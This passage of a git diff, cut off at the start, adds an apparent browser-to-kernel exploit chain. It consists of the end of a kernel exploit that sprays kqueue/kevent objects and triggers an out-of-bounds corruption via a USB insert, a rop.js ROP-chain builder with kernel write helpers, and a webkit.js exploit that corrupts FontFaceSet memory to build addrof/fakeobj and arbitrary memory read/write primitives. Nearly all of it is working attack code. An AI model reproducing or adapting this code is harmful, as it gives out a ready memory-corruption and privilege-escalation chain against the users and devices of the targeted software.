0x4); + //Make Kqueues + { + for (var i = 0; i < NUM_KQUEUES; i++) { + chain.fcall(window.syscalls[362]); + chain.write_result4(kqueue_ptr.add32(0x4 * i)); + } + } + chain.run(); + var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES); + + var that_one_socket = chain.syscall(97, 2, 1, 0); + if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) { + alert("invalid socket"); + while (1); + } + + //Spray kevents + var kevent = p.malloc(0x20); + p.write8(kevent.add32(0x0), that_one_socket); + p.write4(kevent.add32(0x8), 0xFFFF + 0x010000); + p.write4(kevent.add32(0xC), 0x0); + p.write8(kevent.add32(0x10), 0x0); + p.write8(kevent.add32(0x18), 0x0); { + for (var i = 0; i < NUM_KQUEUES; i++) { + chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0); + } + } + chain.run(); + + + + //Fragment memory + { + for (var i = 20; i < NUM_KQUEUES; i += 2) { + chain.fcall(window.syscalls[6], kqueues[i]); + } + } + chain.run(); + + //Trigger OOB + alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it."); + //Trigger corrupt knote + { + for (var i = 1; i < NUM_KQUEUES; i += 2) { + chain.fcall(window.syscalls[6], kqueues[i]); + } + } + chain.run(); + if (chain.syscall(23, 0).low == 0) { + return; + } + alert("exploit failed (kernel heap might be fucked if you *did* insert the USB"); + p.write8(0, 0); + return; +} \ No newline at end of file diff --git a/rop.js b/rop.js new file mode 100644 index 0000000..995afce --- /dev/null +++ b/rop.js @@ -0,0 +1,165 @@ +const stack_sz = 0x40000; +const reserve_upper_stack = 0x8000; +const stack_reserved_idx = reserve_upper_stack / 4; + + +// Class for quickly creating and managing a ROP chain +window.rop = function () { + this.stackback = p.malloc32(stack_sz / 4 + 0x8); + this.stack = this.stackback.add32(reserve_upper_stack); + this.stack_array = this.stackback.backing; + this.retval = this.stackback.add32(stack_sz); + this.count = 1; + this.branches_count = 0; + this.branches_rsps = p.malloc(0x200); + + this.clear = function () { + this.count = 1; + this.branches_count = 0; + + for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) { + this.stack_array[i + stack_reserved_idx] = 0; + } + }; + + this.pushSymbolic = function () { + this.count++; + return this.count - 1; + } + + this.finalizeSymbolic = function (idx, val) { + if (val instanceof int64) { + this.stack_array[stack_reserved_idx + idx * 2] = val.low; + this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi; + } else { + this.stack_array[stack_reserved_idx + idx * 2] = val; + this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0; + } + } + + this.push = function (val) { + this.finalizeSymbolic(this.pushSymbolic(), val); + } + + this.push_write8 = function (where, what) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["pop rsi"]); + this.push(what); + this.push(gadgets["mov [rdi], rsi"]); + } + + this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) { + if (rdi != undefined) { + this.push(gadgets["pop rdi"]); + this.push(rdi); + } + + if (rsi != undefined) { + this.push(gadgets["pop rsi"]); + this.push(rsi); + } + + if (rdx != undefined) { + this.push(gadgets["pop rdx"]); + this.push(rdx); + } + + if (rcx != undefined) { + this.push(gadgets["pop rcx"]); + this.push(rcx); + } + + if (r8 != undefined) { + this.push(gadgets["pop r8"]); + this.push(r8); + } + + if (r9 != undefined) { + this.push(gadgets["pop r9"]); + this.push(r9); + } + + this.push(rip); + return this; + } + + this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) { + this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); + this.write_result(this.retval); + this.run(); + return p.read8(this.retval); + } + + this.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) { + return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9); + } + + //get rsp of the next push + this.get_rsp = function () { + return this.stack.add32(this.count * 8); + } + this.write_result = function (where) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["mov [rdi], rax"]); + } + this.write_result4 = function (where) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["mov [rdi], eax"]); + } + + this.jmp_rsp = function (rsp) { + this.push(window.gadgets["pop rsp"]); + this.push(rsp); + } + + this.run = function () { + p.launch_chain(this); + this.clear(); + } + + this.KERNEL_BASE_PTR_VAR; + this.set_kernel_var = function (arg) { + this.KERNEL_BASE_PTR_VAR = arg; + } + + this.rax_kernel = function (offset) { + this.push(gadgets["pop rax"]); + this.push(this.KERNEL_BASE_PTR_VAR) + this.push(gadgets["mov rax, [rax]"]); + this.push(gadgets["pop rsi"]); + this.push(offset) + this.push(gadgets["add rax, rsi"]); + } + + this.write_kernel_addr_to_chain_later = function (offset) { + this.push(gadgets["pop rdi"]); + var idx = this.pushSymbolic(); + this.rax_kernel(offset); + this.push(gadgets["mov [rdi], rax"]); + return idx; + } + + this.kwrite8 = function (offset, qword) { + this.rax_kernel(offset); + this.push(gadgets["pop rsi"]); + this.push(qword); + this.push(gadgets["mov [rax], rsi"]); + } + this.kwrite4 = function (offset, dword) { + this.rax_kernel(offset); + this.push(gadgets["pop rdx"]); + this.push(dword); + this.push(gadgets["mov [rax], edx"]); + } + + this.kwrite8_kaddr = function (offset1, offset2) { + this.rax_kernel(offset2); + this.push(gadgets["mov rdx, rax"]); + this.rax_kernel(offset1); + this.push(gadgets["mov [rax], rdx"]); + } + return this; +}; \ No newline at end of file diff --git a/webkit.js b/webkit.js new file mode 100644 index 0000000..a610d4f --- /dev/null +++ b/webkit.js @@ -0,0 +1,370 @@ +var PAGE_SIZE = 16384; +var SIZEOF_CSS_FONT_FACE = 0xb8; +var HASHMAP_BUCKET = 208; +var STRING_OFFSET = 20; +var SPRAY_FONTS = 0x1000; +var GUESS_FONT = 0x200430000; +var NPAGES = 20; +var INVALID_POINTER = 0; +var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero) +var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time + +function poc() { + + function hex(n) { + if ((typeof n) != "number") + return "" + n; + return "0x" + (new Number(n)).toString(16); + } + + var union = new ArrayBuffer(8); + var union_b = new Uint8Array(union); + var union_i = new Uint32Array(union); + var union_f = new Float64Array(union); + + var bad_fonts = []; + + for (var i = 0; i < SPRAY_FONTS; i++) + bad_fonts.push(new FontFace("font1", "", {})); + + var good_font = new FontFace("font2", "url(data:text/html,)", {}); + bad_fonts.push(good_font); + + var arrays = []; + for (var i = 0; i < 512; i++) + arrays.push(new Array(31)); + + arrays[256][0] = 1.5; + arrays[257][0] = {}; + arrays[258][0] = 1.5; + + var jsvalue = { + a: arrays[256], + b: new Uint32Array(1), + c: true + }; + + var string_atomifier = {}; + var string_id = 10000000; + + function ptrToString(p) { + var s = ''; + for (var i = 0; i < 8; i++) { + s += String.fromCharCode(p % 256); + p = (p - p % 256) / 256; + } + return s; + } + + function stringToPtr(p, o) { + if (o === undefined) + o = 0; + var ans = 0; + for (var i = 7; i >= 0; i--) + ans = 256 * ans + p.charCodeAt(o + i); + return ans; + } + + var strings = []; + + function mkString(l, head) { + var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++); + string_atomifier[s] = 1; + strings.push(s); + return s; + } + + var guf = GUESS_FONT; + var ite = true; + var matches = 0; + + do { + + var p_s = ptrToString(NPAGES + 2); // vector.size() + for (var i = 0; i < NPAGES; i++) + p_s += ptrToString(guf + i * PAGE_SIZE); + p_s += ptrToString(INVALID_POINTER); + + for (var i = 0; i < 256; i++) + mkString(HASHMAP_BUCKET, p_s); + + var ffs = new FontFaceSet(bad_fonts); + + var badstr1 = mkString(HASHMAP_BUCKET, p_s); + + var guessed_font = null; + var guessed_addr = null; + + for (var i = 0; i < SPRAY_FONTS; i++) { + bad_fonts[i].family = "evil"; + if (badstr1.substr(0, p_s.length) != p_s) { + guessed_font = i; + var p_s1 = badstr1.substr(0, p_s.length); + for (var i = 1; i <= NPAGES; i++) { + if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) { + guessed_addr = stringToPtr(p_s.substr(i * 8, 8)); + break; + } + } + if (matches++ == 0) { + guf = guessed_addr + 2 * PAGE_SIZE; + guessed_addr = null; + } + break; + } + } + + if ((ite = !ite)) + guf += NPAGES * PAGE_SIZE; + + } + while (guessed_addr === null); + + var p_s = ''; + p_s += ptrToString(26); + p_s += ptrToString(guessed_addr); + p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); + for (var i = 0; i < 19; i++) + p_s += ptrToString(INVALID_POINTER); + + for (var i = 0; i < 256; i++) + mkString(HASHMAP_BUCKET, p_s); + + var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); + var badstr2 = mkString(HASHMAP_BUCKET, p_s); + mkString(HASHMAP_BUCKET, p_s); + + bad_fonts[guessed_font].family = "evil2"; + bad_fonts[guessed_font + 1].family = "evil3"; + + var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); + + var ffses = {}; + + function makeReader(read_addr, ffs_name) { + var fake_s = ''; + fake_s += '0000'; //padding for 8-byte alignment + fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff + fake_s += ptrToString(read_addr); //where to read from + fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit + p_s = ''; + p_s += ptrToString(29); + p_s += ptrToString(guessed_addr); + p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); + p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); + for (var i = 0; i < 18; i++) + p_s += ptrToString(INVALID_POINTER); + for (var i = 0; i < 256; i++) + mkString(HASHMAP_BUCKET, p_s); + var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); + mkString(HASHMAP_BUCKET, p_s); + var relative_read = mkString(HASHMAP_BUCKET, fake_s); + bad_fonts[guessed_font].family = ffs_name + "_evil1"; + bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; + bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; + if (relative_read.length < 1000) //failed + return makeReader(read_addr, ffs_name + '_'); + return relative_read; + } + + var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr + + for (var i = 0; i < 100000; i++) + mkString(128, ''); + + var props = []; + for (var i = 0; i < 0x10000; i++) { + props.push({ + value: 0x41434442 + }); + props.push({ + value: jsvalue + }); + } + + var jsvalue_leak = null; + + while (jsvalue_leak === null) { + Object.defineProperties({}, props); + for (var i = 0;; i++) { + if (fastmalloc.charCodeAt(i) == 0x42 && + fastmalloc.charCodeAt(i + 1) == 0x44 && + fastmalloc.charCodeAt(i + 2) == 0x43 && + fastmalloc.charCodeAt(i + 3) == 0x41 && + fastmalloc.charCodeAt(i + 4) == 0 && + fastmalloc.charCodeAt(i + 5) == 0 && + fastmalloc.charCodeAt(i + 6) == 254 && + fastmalloc.charCodeAt(i + 7) == 255 && + fastmalloc.charCodeAt(i + 24) == 14 + ) { + jsvalue_leak = stringToPtr(fastmalloc, i + 32); + break; + } + } + } + + var rd_leak = makeReader(jsvalue_leak, 'ffs4'); + var array256 = stringToPtr(rd_leak, 16); //arrays[256] + var ui32a = stringToPtr(rd_leak, 24); //Uint32Array + var sanity = stringToPtr(rd_leak, 32); + + var rd_arr = makeReader(array256, 'ffs5'); + var butterfly = stringToPtr(rd_arr, 8); + + var rd_ui32 = makeReader(ui32a, 'ffs6'); + for (var i = 0; i < 8; i++) + union_b[i] = rd_ui32.charCodeAt(i); + + var structureid_low = union_i[0]; + var structureid_high = union_i[1]; + + //setup for addrof/fakeobj + //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double + //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue + union_i[0] = 0x10000; + union_i[1] = 0; //account for nan-boxing + arrays[257][1] = {}; //force it to still be jsvalue-array not double-array + arrays[257][0] = union_f[0]; + union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0; + union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000; + arrays[256][i] = union_f[0]; + + //hammer time! + + pp_s = ''; + pp_s += ptrToString(56); + for (var i = 0; i < 12; i++) + pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE); + + var fake_s = ''; + fake_s += '0000'; //padding for 8-byte alignment + fake_s += ptrToString(INVALID_POINTER); //never dereferenced + fake_s += ptrToString(butterfly); //hammer target + fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34 + + var ffs7_args = []; + for (var i = 0; i < 12; i++) + ffs7_args.push(bad_fonts[guessed_font + i]); + ffs7_args.push(good_font); + + var ffs8_args = [bad_fonts[guessed_font + 12]]; + for (var i = 0; i < 5; i++) + ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {})); + + for (var i = 0; i < HAMMER_NSTRINGS; i++) + mkString(HASHMAP_BUCKET, pp_s); + + var ffs7 = new FontFaceSet(ffs7_args); + mkString(HASHMAP_BUCKET, pp_s); + var ffs8 = new FontFaceSet(ffs8_args); + mkString(HASHMAP_BUCKET, fake_s); + + for (var i = 0; i < 13; i++) + bad_fonts[guessed_font + i].family = "hammer" + i; + + + window.addrof = function (obj) { + arrays[257][32] = obj; + union_f[0] = arrays[258][0]; + return new int64(union_i[0], union_i[1]); + } + + window.fakeobj = function (addr) { + union_i[0] = addr.low; + union_i[1] = addr.hi; + arrays[258][0] = union_f[0]; + return arrays[257][32]; + } + //craft misaligned typedarray + + var arw_master = new Uint32Array(8); + var arw_slave = new Uint32Array(2); + + var addrof_slave = addrof(arw_slave); + union_i[0] = structureid_low; + union_i[1] = structureid_high; + union_b[6] = 7; + var obj = { + jscell: union_f[0], + butterfly: true, + buffer: arw_master, + size: 0x5678 + }; + + (function () { + var magic = fakeobj(addrof(obj).add32(0x10)); + magic[4] = addrof_slave.low; + magic[5] = addrof_slave.hi; + magic = null; + })(); + + var prim = { + write8: function(addr, value) { + arw_master[4] = addr.low; + arw_master[5] = addr.hi; + if(value instanceof int64) { + arw_slave[0] = value.low; + arw_slave[1] = value.hi; + } else { + arw_slave[0] = value; + arw_slave[1] = 0; + } + }, + write4: function(addr, value) { + arw_master[4] = addr.low; + arw_master[5] = addr.hi; + if(value instanceof int64) { + arw_slave[0] = value.low; + } else { + arw_slave[0] = value; + } + }, + write2: function(addr, value) { + arw_master[4] = addr.low; + arw_master[5] = addr.hi; + var tmp = arw_slave[0] & 0xFFFF0000; + if(value instanceof int64) { + arw_slave[0] = ((value.low & 0xFFFF) | tmp); + } else { + arw_slave[0] = ((value & 0xFFFF) | tmp); + } + }, + write1: function(addr, value) { + arw_master[4] = addr.low; + arw_master[5] = addr.hi; + var tmp = arw_slave[0] & 0xFFFFFF00; + if(value instanceof int64) { + arw_slave[0] = ((value.low & 0xFF) | tmp); + } else { + arw_slave[0] = ((value & 0xFF) | tmp); + } + }, + read8: function(addr) { + arw_master[4] = addr.low; + arw_master[5] = addr.hi; + return new int64(arw_slave[0], arw_slave[1]); + }, + read4: function(addr) { + arw_master[4] = addr.low; + arw_master[5] = addr.hi; + return arw_slave[0]; + }, + read2: function(addr) { + arw_master[4] = addr.low; + arw_master[5] = addr.hi; + return arw_slave[0] & 0xFFFF; + }, + read1: function(addr) { + arw_master[4] = addr.low; + arw_master[5] = addr.hi; + return arw_slave[0] & 0xFF; + }, + leakval: function(obj) { + arrays[257][32] = obj; + union_f[0] = arrays[258][0]; + return new int64(union_i[0], union_i[1]); + } + }; + window.p = prim; + run_hax(); +} \ No newline at end of file